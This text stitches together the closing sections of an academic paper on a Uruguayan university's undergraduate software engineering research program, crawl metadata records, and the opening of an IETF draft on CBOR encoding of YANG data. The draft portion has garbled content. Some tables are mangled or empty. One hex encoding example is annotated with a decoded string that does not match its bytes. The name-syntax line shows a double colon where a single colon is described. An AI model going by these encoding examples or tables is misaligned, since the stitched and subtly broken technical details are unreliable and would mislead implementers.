their work and professional activities. For these two statements, the possible answers were given by the following options: “Strongly disagree, Disagree, Neutral, Agree, Strongly agree”. Table 6 presents the answers received to those two questions. <table> <thead> <tr> <th>Answers</th> <th>Quantity</th> <th>Percentage</th> </tr> </thead> <tbody> <tr> <td>My experience of participating in the undergraduate research project has been useful to my performance in my work and professional activities.</td> <td></td> <td></td> </tr> <tr> <td>Strongly disagree</td> <td>0</td> <td>0,00%</td> </tr> <tr> <td>Disagree</td> <td>1</td> <td>3,45%</td> </tr> <tr> <td>Neutral</td> <td>9</td> <td>31,03%</td> </tr> <tr> <td>Agree</td> <td>9</td> <td>31,03%</td> </tr> <tr> <td>Strongly agree</td> <td>10</td> <td>34,48%</td> </tr> </tbody> </table> | The general experience of participating in an undergraduate research project better prepares the participants for their work and professional activities | | | | Strongly disagree | 0 | 0,00% | | Disagree | 1 | 3,45% | | Neutral | 0 | 0,00% | | Agree | 12 | 41,38% | | Strongly agree | 16 | 55,17% | Table 6: Perception of usefulness of participating in a research project Even though only two-thirds of the respondents consider that having participated in an undergraduate research project had a positive impact on their present work and professional activity, all except one consider that this type of undergraduate project is beneficial for the professional future of the participants. 5.4 Program evaluation in terms of publications Dissemination of research results is an essential scholarly activity because it is the way to inform academics and practitioners of a discipline about the results of a research project and to contribute to its body of knowledge. Writing and publishing a research paper in a journal or conference proceedings is not mandatory but it is a highly desired activity for undergraduate students, because it is an additional learning opportunity and a way to have ‘third party’ validation of the originality and quality of their research outcomes. Half of the students that participated in undergraduate research projects since year 2015 have taken part of this post-project activity. To answer RQ4, bibliographic data of research papers published in a journal and several conference proceedings are shown in Table 7. <table> <thead> <tr> <th>Year</th> <th>Publication</th> </tr> </thead> </table> Table 7: Papers published in journal and conference proceedings 6 Discussion The undergraduate research program in software engineering presented in this paper allows undergraduate students to carry out their capstone project in one of the modalities of software development projects, entrepreneurial projects, or research projects. Since the Systems Engineering and Information Systems undergraduate programs offered by the School of Engineering have a strong emphasis on software engineering and software development, during their studies students carry out several projects that involve the design, development, and maintenance of software. On the other hand, most students of those careers are also working in the software and IT industry at the same time they are pursuing their degree. This is the reason why a significant number of students choose the ‘research’ mode for their final project, expressing ‘Not to do another development project’ or ‘The mode is compatible with my current working activity’ as the main reasons (34.5% of respondents to the survey, Table 3), but they also mention a desire to learn how to research or delve into a topic of personal interest (62% of respondents). However, the topic and the research problem posed for their research projects also play a relevant role when deciding on this type of capstone project, as indicated by 86.2% of the survey respondents (Table 4). Steps 2, 3, and 4 of the undergraduate research process presented in Table 2 have an important bearing on this decision factor. Thus, the two main reasons for choosing the research mode are: (i) being able to do something different from "another" software development project and (ii) having a challenging and interesting problem to research. This is the answer to RQ1. Regarding RQ2 (student’s perception of improvement in certain skills), the undergraduate research program allows students to do “real” research on relevant topics of software engineering and to apply methodological designs and research methods used in the discipline, such as case study, survey, observation, and research interviews. Steps 7 to 11 of the undergraduate research process let students to have some control on the research planning and execution, with the senior researcher acting as an advisor and giving orientation and feedback. In terms of the Healey and Jenkins model explained in section I, the “students as participants” mode of engaging students in research allow them to learn or develop skills other than hard research skills, such as the ones shown in Table 5. Even though these skills are acquired in research projects, in fact they are examples of what are considered soft skills. In a recent study aimed to identify the most relevant soft skills for the practice of software engineering (Matturro, 19), communication skills (present results effectively, write a technical report), analytical skills (read and interpret technical literature, collect, and analyse data), and organization/planning skills (plan and control a research project) are among the top five most relevant soft skills. Thus, skills gain in these research projects are useful not only for doing research in academic or industrial settings, but also for the professional practice of software engineering; that is, for the development, operation, and maintenance of software systems. RQ3 was about the student’s perception, after completing the project, of the expected usefulness of their participation in undergraduate research projects for their present and future professional and working life. From the answers received for the first of the two questions in the survey regarding this research question, only half of the respondents actually perceived some personal usefulness of that participation. Research in software engineering is more common in academia than in industry. The possibility that graduates and working undergraduate students can apply hard research skills (conducting experiments, case studies, surveys, etc.) in their companies depends on the research and development policies of the organizations themselves, and on the role that the graduate performs in those organizations. However, all except one of the respondents consider that participating in a research project better prepared them for their future professional and working life; maybe not because they expect to do research in an industrial setting in the near future, but for the certainty of using the skills learned or developed during the projects that, as previously discussed, are also useful for the general practice of software engineering. 7 Learnings and good practices Based on the seven-year experience of the software engineering undergraduate research program described in Section 3, what follows are some brief learnings and good practices associated with each step of the process model presented in Table 3. 7.1 Pre-project phase 1. Since undergraduates are often unaware of the possibility of participating in research as part of their capstone project, informing soon-to-graduate students about past and ongoing projects helps pique their interest and curiosity. This encourages students with an interest in research to approach a research group to explore this option for their capstone project. 2. To participate in a research project requires a different mindset than just “attending another course” to complete the curriculum. In this sense, clearly explaining what a research project is, what it implies regarding the work ahead, and the required level of commitment and engagement to do a good job is essential for students to better decide on this mode of capstone project. 3. Students need to feel that they will be “part of” the serious research efforts taking place in the department, laboratory, or academic unit, and understand where their work fits in as a continuation of research projects that have already been completed, but in a predefined line of investigation. It is desirable that the research topics are related to professional practice, at least in the discipline of software engineering (as is in our case). 4. Co-writing the research proposal helps students develop a sense of ownership of the project while helping them to “begin with the topic,” understand the stated goals, and the work to be done to achieve those goals. 5. The experience the senior researcher has in conducting research is relevant in setting the project scope in terms of expected results within the time frame students must complete the project and the number of students that will work together in a team. This is a very sensitive step because a too limited or a too big scope in terms of work to do and expected results can have undesired consequences on the student's dissertation. Some characteristics to take into account are: a) being well structured, b) being achievable in the time frame, c) using techniques common to the discipline (software engineering, in this case), and d) in the best case, using a single technique or two (case study or survey and interviews, for example). 6. Although students will learn to research throughout the project, an overview of the whole research process will let them understand the main tasks to do and what to expect from them. A brief workshop to introduce students to the primary theoretical, conceptual, and methodological ideas, and to teach the technical skills and methods of conducting research in the discipline. 7.2 In-project phase 7. The step 6 above also prepares students to actively participate in planning the project. When developing a research schedule, consider students time commitments outside of the research project. Many students may have work or family obligations that make scheduling research difficult. 8. At the beginning of project execution, it is a good thing to reinforce the roles the students and the senior researcher will perform during the project, the frequency of meetings to discuss progress and difficulties, and to define communication channels. 9. Establishing a schedule for regular meetings helps students to set timelines and deadlines. During those meetings, encourage students to ask questions and give them constructive feedback. Clear expectations of work to be done between meetings also help facilitate productivity and commitment to the work to be done. 10. Make it clear to students that writing the research report is part of the research project, and that it is something that can (should) be done during the execution of the project and not at the end. Writing the thesis document following the "academic style" is a difficult and new task for students, so giving advice on how to do it and periodically reviewing the writing helps them "learn to write" and progress in this task. 11. Encourage students to share their progress and findings and provide guidance on how to do so effectively in oral or poster presentations. Attending seminars with other senior researchers and with students from other projects "forces" them to reflect on their work and to accept criticism and suggestions, as well as to argue in favour of their work. 12. Before thesis submission for evaluation, a joint review of its structure and contents helps students to find ways to improve their writing and to better present their main contributions, and to make clear to what extent they have achieved the project objectives. 7.3 Post-project 13. Presenting and defending the dissertation before an evaluation committee is somewhat intimidating for undergraduate students. It is important to accompany the students in the preparation of their defence, giving guidelines on how to organize the presentation, decide what to include and in what order, and consider the time established for the presentation and for the questions that the members of the committee may ask. Practicing the presentation and asking "hard" questions while pretending to be a committee member helps students gain confidence in defending their work. 14. Although writing a research paper is not usually within the scope of a project, dissemination of results completes the research cycle, increases awareness of the work, and ensures the findings are shared outside the research group, laboratory, or department. 8 Conclusions The undergraduate research program in software engineering at the School of Engineering of Universidad ORT Uruguay began in 2015 and to date, 20 projects have been executed and 34 students have participated in them. The program takes the “students as participants” approach and allows students, with the guidance of a senior researcher mentor, to a) complete a capstone project in ‘research’ mode, learning by doing how to do research on topics of interest in software engineering, and b) acquire or develop certain skills that they will find useful in their future professional and working life in the software industry. In this sense, and according to Camacho (2018), mentoring as a learning alliance offers students specific contributions that are tangible as benefits, such as: greater clarity on the topics covered, greater preparation to strengthen their skills or carry out specific activities, and having received guidance on specific projects. The 14 steps of the undergraduate research process lead students through the entire research process on the topic and problem raised by the tutor. In all cases, these are authentic research projects that generate new knowledge in the discipline, and half of the completed projects have achieved the publication of results in a peer-reviewed journal and in several refereed conferences. 9 Study limitations and future directions of the program As explained in section 4, the evaluation was carried out by using a data collection instrument built based on two well-known and validated instruments such as SURE and USMORE-SS. Both are examples of self-administered survey instruments to collect data regarding the experience of undergraduate students in participating in research projects; in particular, their perceptions of skills gains. Like the aforementioned instruments, we applied our survey as a post-test only, this being a limitation in terms of knowing in depth the gains in skills mentioned by the students. Applying a post-test-only self-administered survey has two limitations. First, answering a self-administered survey can conduct in response bias; for example, answering questions in the direction the respondent perceives to be desired by the investigator (e.g., faking good). Second, applying the survey as a post-test only does not allow to determine the magnitude of the skills gains or if they were influenced by other variables. For example, while participating in research projects, some students also attend other courses in which they could have to read scientific literature or present results. In these cases, the gains reported in those skills could have been influenced by these activities external to the research project itself. Since the undergraduate research program is now well established, with a continuous flow of students willing to participate in it and with several and interesting software engineering topics that deserve investigation, we are now in position to implement changes on how to evaluate it, both in terms of results and of its internal workings. In the first place, and starting on March 2023, we are going to add a pre-test instrument, as suggested by McDevitt et al. (McDevitt, 16). This will require changes to the current data collection instrument, and perhaps the adoption and adaptation of some other instrument such as URSAA (Weston, 15). Second, more insights are needed to understand and evaluate the internal dynamics of each research project in terms of students' activities and participation, and also in their relation to the other research projects and the research community. To achieve this, it is necessary to place the research projects and the program as a whole in a more comprehensive theoretical framework that allows, for example, knowing the ins and outs of participating in an undergraduate research project, the collective construction of knowledge by the project team (students and mentor or senior researcher), and the coordination and division of tasks among team members (search and read scientific literature, collect data, prepare data for analysis, write research report and, in some cases, write a research paper), among other aspects of interest. One such framework is known as Cultural-Historical Activity Theory (Cong-Lem, 22). As described by Qureshi (Qureshi, 21), Cultural-Historical Activity Theory (CHAT) is a social theory which is useful as a methodological framework for the task of studying practice-based learning in complex learning environments. A complex learning environment can be defined as situations in natural settings where multiple individuals are involved in shared activities within a single or multi-organizational context (Yamagata-Lynch, 10). To apply CHAT to better assess different dimensions of an undergraduate research experience, McDevitt et al. (McDevitt, 20) have proposed a series of useful guidelines in the form of questions for characterizing the CHAT components (subject, object, rules, tools, community, division of labour, and outcome) and practical recommendations for rating the quality of collected data. As noted by these authors, properly applying CHAT requires knowledge and familiarity with theory and literature, as well as clear definition of objectives that translate into meaningful research questions. However, it is well worth the effort to identify opportunities to enhance the undergraduate experience and to make the program grow and last. Finally, other short-term and tactical changes include a) preparation of posters for better dissemination of projects results, b) develop further academic writing capabilities to increase publications in high-quality journals, and c) carry out research projects in conjunction with companies in the software industry. References
{"Source-Url": "https://public.pensoft.net/items/?p=7TVeXpoqfNYT89tyrm3ifrTeG9Wv8P676JSQp%2FH2pj9hhtoybol4GF7LEbj3fxHT5Fo8esHssd8WephiZxLUcgDAGfpxB%2BJOa4kkhi7JEGHTQQhi%2FwV0L7neumak&n=qC9NWZh8JI9B8Zo2%2FEbqb6nDHdS58rf8sMGH%2Bfbm7w%3D%3D", "len_cl100k_base": 9852, "olmocr-version": "0.1.50", "pdf-total-pages": 19, "total-fallback-pages": 0, "total-input-tokens": 49358, "total-output-tokens": 12845, "length": "2e13", "weborganizer": {"__label__adult": 0.0010995864868164062, "__label__art_design": 0.0016851425170898438, "__label__crime_law": 0.0009794235229492188, "__label__education_jobs": 0.39892578125, "__label__entertainment": 0.0002524852752685547, "__label__fashion_beauty": 0.0007419586181640625, "__label__finance_business": 0.0012178421020507812, "__label__food_dining": 0.0011034011840820312, "__label__games": 0.00205230712890625, "__label__hardware": 0.0013017654418945312, "__label__health": 0.001567840576171875, "__label__history": 0.0012464523315429688, "__label__home_hobbies": 0.0005040168762207031, "__label__industrial": 0.0009703636169433594, "__label__literature": 0.0017452239990234375, "__label__politics": 0.0007123947143554688, "__label__religion": 0.00128173828125, "__label__science_tech": 0.0295867919921875, "__label__social_life": 0.0008220672607421875, "__label__software": 0.00814056396484375, "__label__software_dev": 0.541015625, "__label__sports_fitness": 0.00113677978515625, "__label__transportation": 0.0013113021850585938, "__label__travel": 0.000583648681640625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 55772, 0.03301]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 55772, 0.20017]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 55772, 0.93074]], "google_gemma-3-12b-it_contains_pii": [[0, 2728, false], [2728, 5910, null], [5910, 8883, null], [8883, 10646, null], [10646, 14070, null], [14070, 16588, null], [16588, 19488, null], [19488, 22386, null], [22386, 24765, null], [24765, 27930, null], [27930, 31319, null], [31319, 34243, null], [34243, 37763, null], [37763, 40694, null], [40694, 43589, null], [43589, 46521, null], [46521, 50239, null], [50239, 53253, null], [53253, 55772, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2728, true], [2728, 5910, null], [5910, 8883, null], [8883, 10646, null], [10646, 14070, null], [14070, 16588, null], [16588, 19488, null], [19488, 22386, null], [22386, 24765, null], [24765, 27930, null], [27930, 31319, null], [31319, 34243, null], [34243, 37763, null], [37763, 40694, null], [40694, 43589, null], [43589, 46521, null], [46521, 50239, null], [50239, 53253, null], [53253, 55772, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 55772, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 55772, null]], "pdf_page_numbers": [[0, 2728, 1], [2728, 5910, 2], [5910, 8883, 3], [8883, 10646, 4], [10646, 14070, 5], [14070, 16588, 6], [16588, 19488, 7], [19488, 22386, 8], [22386, 24765, 9], [24765, 27930, 10], [27930, 31319, 11], [31319, 34243, 12], [34243, 37763, 13], [37763, 40694, 14], [40694, 43589, 15], [43589, 46521, 16], [46521, 50239, 17], [50239, 53253, 18], [53253, 55772, 19]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 55772, 0.28197]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
d6aa294e0e8667feffb1726493044506cf26b14f
[REMOVED]
{"len_cl100k_base": 15530, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 44586, "total-output-tokens": 18936, "length": "2e13", "weborganizer": {"__label__adult": 0.0003802776336669922, "__label__art_design": 0.0002562999725341797, "__label__crime_law": 0.0003390312194824219, "__label__education_jobs": 0.0006799697875976562, "__label__entertainment": 5.513429641723633e-05, "__label__fashion_beauty": 0.00015223026275634766, "__label__finance_business": 0.0001289844512939453, "__label__food_dining": 0.0002694129943847656, "__label__games": 0.0007181167602539062, "__label__hardware": 0.0007953643798828125, "__label__health": 0.0003058910369873047, "__label__history": 0.000179290771484375, "__label__home_hobbies": 7.605552673339844e-05, "__label__industrial": 0.00020229816436767575, "__label__literature": 0.00022089481353759768, "__label__politics": 0.0002027750015258789, "__label__religion": 0.0003414154052734375, "__label__science_tech": 0.005260467529296875, "__label__social_life": 8.678436279296875e-05, "__label__software": 0.005786895751953125, "__label__software_dev": 0.98291015625, "__label__sports_fitness": 0.0002256631851196289, "__label__transportation": 0.0003037452697753906, "__label__travel": 0.00016689300537109375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 66016, 0.06718]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 66016, 0.23777]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 66016, 0.86355]], "google_gemma-3-12b-it_contains_pii": [[0, 5016, false], [5016, 10993, null], [10993, 17673, null], [17673, 21026, null], [21026, 27664, null], [27664, 34154, null], [34154, 39422, null], [39422, 45194, null], [45194, 51003, null], [51003, 56323, null], [56323, 64698, null], [64698, 66016, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5016, true], [5016, 10993, null], [10993, 17673, null], [17673, 21026, null], [21026, 27664, null], [27664, 34154, null], [34154, 39422, null], [39422, 45194, null], [45194, 51003, null], [51003, 56323, null], [56323, 64698, null], [64698, 66016, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 66016, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 66016, null]], "pdf_page_numbers": [[0, 5016, 1], [5016, 10993, 2], [10993, 17673, 3], [17673, 21026, 4], [21026, 27664, 5], [27664, 34154, 6], [34154, 39422, 7], [39422, 45194, 8], [45194, 51003, 9], [51003, 56323, 10], [56323, 64698, 11], [64698, 66016, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 66016, 0.27762]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
f7b954cd546acd2b0b4b76e4c06259ccb3bd6c10
CBOR Encoding of Data Modeled with YANG draft-ietf-core-yang-cbor-15 Abstract This document defines encoding rules for serializing configuration data, state data, RPC input and RPC output, action input, action output, notifications and yang-data extension defined within YANG modules using the Concise Binary Object Representation (CBOR, RFC 8949). Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at https://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on 28 July 2021. Copyright Notice Copyright (c) 2021 IETF Trust and the persons identified as the document authors. All rights reserved. Internet-Draft CBOR Encoding of Data Modeled with YANG January 2021 This document is subject to BCP 78 and the IETF Trust's Legal license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. Table of Contents 1. Introduction ................................................. 3 2. Terminology and Notation ................................. 3 3. Properties of the CBOR Encoding ............................ 5 3.1. CBOR diagnostic notation .................................. 6 3.2. YANG Schema Item iDentifier ............................... 8 3.3. Name ................................................... 8 4. Encoding of YANG Schema Node Instances .................... 10 4.1. The 'leaf' ............................................... 10 4.1.1. Using SIDs in keys ................................... 10 4.1.2. Using names in keys ................................ 11 4.2. The 'container' and other nodes from the data tree .... 11 4.2.1. Using SIDs in keys ................................... 12 4.2.2. Using names in keys ................................ 13 4.3. The 'leaf-list' .......................................... 15 4.3.1. Using SIDs in keys ................................... 15 4.3.2. Using names in keys ................................ 15 4.4. The 'list' and 'list' instance(s) ......................... 16 4.4.1. Using SIDs in keys ................................... 17 4.4.2. Using names in keys ................................ 19 4.5. The 'anydata' ............................................ 21 4.5.1. Using SIDs in keys ................................... 22 4.5.2. Using names in keys ................................ 23 4.6. The 'anyxml' ............................................ 24 4.6.1. Using SIDs in keys ................................... 24 4.6.2. Using names in keys ................................ 25 5. Encoding of 'yang-data' extension .......................... 25 5.1. Using SIDs in keys ..................................... 26 5.2. Using names in keys ................................... 27 6. Representing YANG Data Types in CBOR ....................... 28 6.1. The unsigned integer Types .............................. 28 6.2. The integer Types ...................................... 29 6.3. The 'decimal64' Type .................................... 29 The specification of the YANG 1.1 data modeling language [RFC7950] defines an XML encoding for data instances, i.e. contents of configuration datastores, state data, RPC inputs and outputs, action inputs and outputs, and event notifications. An additional set of encoding rules has been defined in [RFC7951] based on the JavaScript Object Notation (JSON) Data Interchange Format [RFC8259]. The aim of this document is to define a set of encoding rules for the Concise Binary Object Representation (CBOR) [RFC8949]. The resulting encoding is more compact compared to XML and JSON and more suitable for Constrained Nodes and/or Constrained Networks as defined by 2. Terminology and Notation The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they appear in all capitals, as shown here. The following terms are defined in [RFC7950]: * action * anydata * anyxml * data node * data tree * datastore * feature * identity * module * notification * RPC * schema node * schema tree * submodule The following terms are defined in [RFC8040]: * yang-data extension This specification also makes use of the following terminology: * child: A schema node defined as a child node of a container, a list, a case, a notification, an RPC input, an RPC output, an action input, an action output. * delta: Difference between the current YANG SID and a reference YANG SID. A reference YANG SID is defined for each context for which deltas are used. * item: A schema node, an identity, a module, a submodule or a feature defined using the YANG modeling language. * parent: The container, list, case, notification, RPC input, RPC output, action input or action output node in which a schema node is defined. 3. Properties of the CBOR Encoding This document defines CBOR encoding rules for YANG data trees and their subtrees. A node from the data tree such as container, list instance, notification, RPC input, RPC output, action input and action output is serialized using a CBOR map in which each child schema node is encoded using a key and a value. This specification supports two types of CBOR keys; YANG Schema Item iDentifier (YANG SID or simply SID): Unsigned integer used to identify different YANG items. Each of these key types is encoded using a specific CBOR type which allows their interpretation during the deserialization process. Protocols or mechanisms implementing this specification can mandate the use of a specific key type. In order to minimize the size of the encoded data, the proposed mapping avoids any unnecessary meta-information beyond those natively supported by CBOR. For instance, CBOR tags are used solely in the case of SID not encoded as delta, anyxml schema nodes and the union datatype to distinguish explicitly the use of different YANG datatypes encoded using the same CBOR major type. Unless specified otherwise by the protocol or mechanism implementing this specification, the indefinite lengths encoding as defined in Section 3.2 of [RFC8949] SHALL be supported by CBOR decoders. Data nodes implemented using a CBOR array, map, byte string, and text string can be instantiated but empty. In this case, they are encoded with a length of zero. When schema node are serialized using the rules defined by this specification as part of an application payload, the payload SHOULD include information that would allow a stateless way to identify each node, such as the SID number associated with the node, SID delta from another SID in the application payload, the namespace qualified name or the instance-identifier. Examples in Section 4 include a root CBOR map with a single entry having a key set to either a namespace qualified name or a SID. This root CBOR map is provided only as a typical usage example and is not part of the present encoding rules. Only the value within this CBOR map is compulsory. 3.1. CBOR diagnostic notation Within this document, CBOR binary contents are represented using an equivalent textual form called CBOR diagnostic notation as defined in Section 8 of [RFC8949]. This notation is used strictly for documentation purposes and is never used in the data serialization. Table 1 below provides a summary of this notation. <table> <thead> <tr> <th>CBOR content</th> <th>CBOR type</th> <th>Diagnostic notation</th> <th>Example</th> <th>CBOR encoding</th> </tr> </thead> <tbody> <tr> <td>Unsigned</td> <td>0</td> <td>Decimal digits</td> <td>123</td> <td>18 7B</td> </tr> <tr> <td>Negative</td> <td>1</td> <td>Decimal digits</td> <td>-123</td> <td>38 7A</td> </tr> <tr> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>---</td> <td>---</td> <td>---</td> <td></td> <td></td> </tr> <tr> <td>integer</td> <td>prefixed by a minus sign</td> <td></td> <td></td> <td></td> </tr> <tr> <td>Byte string</td> <td>2</td> <td>Hexadecimal value enclosed between single quotes and prefixed by an 'h'</td> <td></td> <td></td> </tr> <tr> <td></td> <td></td> <td>h'F15C'</td> <td>42 F15C</td> <td></td> </tr> <tr> <td>Text string</td> <td>3</td> <td>String of Unicode characters enclosed between double quotes</td> <td>&quot;txt&quot;</td> <td>63 747874</td> </tr> <tr> <td>Array</td> <td>4</td> <td>Comma-separated list of values within square brackets</td> <td>[ 1, 2 ]</td> <td>82 01 02</td> </tr> <tr> <td>Map</td> <td>5</td> <td>Comma-separated list of key : value pairs within curly braces</td> <td>{ 1: 123, 2: 456 }</td> <td>A2 01187B 021901C8</td> </tr> <tr> <td>Boolean</td> <td>7/20</td> <td>false</td> <td>false</td> <td>F4</td> </tr> <tr> <td>Boolean</td> <td>7/21</td> <td>true</td> <td>true</td> <td>F5</td> </tr> <tr> <td>Null</td> <td>7/22</td> <td>null</td> <td>null</td> <td>F6</td> </tr> <tr> <td>Not assigned</td> <td>7/23</td> <td>undefined</td> <td>undefined</td> <td>F7</td> </tr> </tbody> </table> Table 1: CBOR diagnostic notation summary Note: CBOR binary contents shown in this specification are annotated with comments. These comments are delimited by slashes ("/") as defined in [RFC8610] Appendix G.6. Some of the items defined in YANG [RFC7950] require the use of a unique identifier. In both NETCONF [RFC6241] and RESTCONF [RFC8040], these identifiers are implemented using strings. To allow the implementation of data models defined in YANG in constrained devices and constrained networks, a more compact method to identify YANG items is required. This compact identifier, called YANG Schema Item Identifier, is an unsigned integer. The following items are identified using YANG SIDs (often shortened to SIDs): * identities * data nodes * RPCs and associated input(s) and output(s) * actions and associated input(s) and output(s) * notifications and associated information * YANG modules, submodules and features To minimize their size, SIDs used as keys in inner CBOR maps are typically encoded using deltas. Conversion from SIDs to deltas and back to SIDs are stateless processes solely based on the data serialized or deserialized. These SIDs may also be encoded as absolute number when enclosed by CBOR tag 47. Mechanisms and processes used to assign SIDs to YANG items and to guarantee their uniqueness are outside the scope of the present specification. If SIDs are to be used, the present specification is used in conjunction with a specification defining this management. One example for such a specification is [I-D.ietf-core-sid]. 3.3. Name This specification also supports the encoding of YANG item identifiers as string, similar as those used by the JSON Encoding of Data Modeled with YANG [RFC7951]. This approach can be used to avoid the management overhead associated to SIDs allocation. The main drawback is the significant increase in size of the encoded data. YANG item identifiers implemented using names MUST be in one of the following forms: * simple - the identifier of the YANG item (i.e. schema node or identity). namespace qualified - the identifier of the YANG item is prefixed with the name of the module in which this item is defined, separated by the colon character (":"). The name of a module determines the namespace of all YANG items defined in that module. If an item is defined in a submodule, then the namespace qualified name uses the name of the main module to which the submodule belongs. ABNF syntax [RFC5234] of a name is shown in Figure 1, where the production for "identifier" is defined in Section 14 of [RFC7950]. ``` name = [identifier "::"] identifier ``` Figure 1: ABNF Production for a simple or namespace qualified name A namespace qualified name MUST be used for all members of a top-level CBOR map and then also whenever the namespaces of the data node and its parent node are different. In all other cases, the simple form of the name SHOULD be used. Definition example: ```yml module example-foomod { container top { leaf foo { type uint8; } } } module example-barmod { import example-foomod { prefix "foomod"; } augment "/foomod:top" { leaf bar { type boolean; } } } ``` A valid CBOR encoding of the 'top' container is as follows. ``` CBOR diagnostic notation: ``` Both the 'top' container and the 'bar' leaf defined in a different YANG module as its parent container are encoded as namespace qualified names. The 'foo' leaf defined in the same YANG module as its parent container is encoded as simple name. 4. Encoding of YANG Schema Node Instances Schema node instances defined using the YANG modeling language are encoded using CBOR [RFC8949] based on the rules defined in this section. We assume that the reader is already familiar with both YANG [RFC7950] and CBOR [RFC8949]. 4.1. The 'leaf' A 'leaf' MUST be encoded accordingly to its datatype using one of the encoding rules specified in Section 6. The following examples shows the encoding of a 'hostname' leaf using a SID or a name. Definition example from [RFC7317]: ``` leaf hostname { type inet:domain-name; } ``` 4.1.1. Using SIDs in keys CBOR diagnostic notation: ``` { 1752 : "myhost.example.com" / hostname (SID 1752) / ``` 4.1.2. Using names in keys CBOR diagnostic notation: ```json { "ietf-system:hostname" : "myhost.example.com" } ``` CBOR encoding: ``` A1 # map(1) 74 # text(20) 6965746662D73797374656D3A686F73746E616D65 # "system/myhost.example.com" ``` 4.2. The 'container' and other nodes from the data tree Containers, list instances, notification contents, rpc inputs, rpc outputs, action inputs and action outputs MUST be encoded using a CBOR map data item (major type 5). A map is comprised of pairs of data items, with each data item consisting of a key and a value. Each key within the CBOR map is set to a schema node identifier, each value is set to the value of this schema node instance according to the instance datatype. This specification supports two types of CBOR keys; SID as defined in Section 3.2 and names as defined in Section 3.3. The following examples shows the encoding of a 'system-state' container instance using SIDs or names. Definition example from [RFC7317]: typedef date-and-time { type string { pattern '\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?(Z|\[+\-\d{2}:\d{2}\])'; } } container system-state { container clock { leaf current-datetime { type date-and-time; } leaf boot-datetime { type date-and-time; } } 4.2.1. Using SIDs in keys In the context of containers and other nodes from the data tree, CBOR map keys within inner CBOR maps can be encoded using deltas or SIDs. In the case of deltas, they MUST be encoded using a CBOR unsigned integer (major type 0) or CBOR negative integer (major type 1), depending on the actual delta value. In the case of SID, they are encoded using the SID value enclosed by CBOR tag 47 as defined in Section 9.3. Delta values are computed as follows: * In the case of a 'container', deltas are equal to the SID of the current schema node minus the SID of the parent 'container'. * In the case of a 'list', deltas are equal to the SID of the current schema node minus the SID of the parent 'list'. * In the case of an 'rpc input' or 'rpc output', deltas are equal to the SID of the current schema node minus the SID of the 'rpc'. * In the case of an 'action input' or 'action output', deltas are equal to the SID of the current schema node minus the SID of the 'action'. * In the case of an 'notification content', deltas are equal to the SID of the current schema node minus the SID of the 'notification'. Internet-Draft CBOR Encoding of Data Modeled with YANG January 2021 CBOR diagnostic 